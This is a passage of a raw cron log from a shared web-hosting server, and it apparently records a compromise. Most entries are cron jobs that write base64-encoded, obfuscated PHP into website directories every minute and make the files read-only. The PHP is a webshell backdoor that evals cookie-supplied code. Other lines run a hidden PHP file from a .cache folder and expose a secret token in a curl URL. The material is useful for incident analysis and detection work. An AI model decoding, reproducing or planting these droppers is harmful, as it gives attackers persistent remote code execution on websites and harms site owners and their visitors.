ycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:52:02 medusa CROND[23669]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:52:02 medusa CROND[23668]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:52:02 medusa CROND[23676]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:52:02 medusa CROND[23672]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:52:02 medusa CROND[23679]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:53:01 medusa CROND[15649]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:53:02 medusa CROND[15745]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:53:02 medusa CROND[15746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:53:02 medusa CROND[15747]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:53:02 medusa CROND[15748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:53:02 medusa CROND[15750]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:53:02 medusa CROND[15752]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:53:02 medusa CROND[15755]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:53:02 medusa CROND[15754]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:53:02 medusa CROND[15760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:53:02 medusa CROND[15756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:53:02 medusa CROND[15763]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:54:02 medusa CROND[7945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:54:02 medusa CROND[7946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:54:02 medusa CROND[7947]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:54:02 medusa CROND[7948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:54:02 medusa CROND[7950]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:54:02 medusa CROND[7952]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:54:02 medusa CROND[7951]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:54:02 medusa CROND[7955]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:54:02 medusa CROND[7956]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:54:02 medusa CROND[7957]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:54:02 medusa CROND[7967]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:54:02 medusa CROND[7968]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
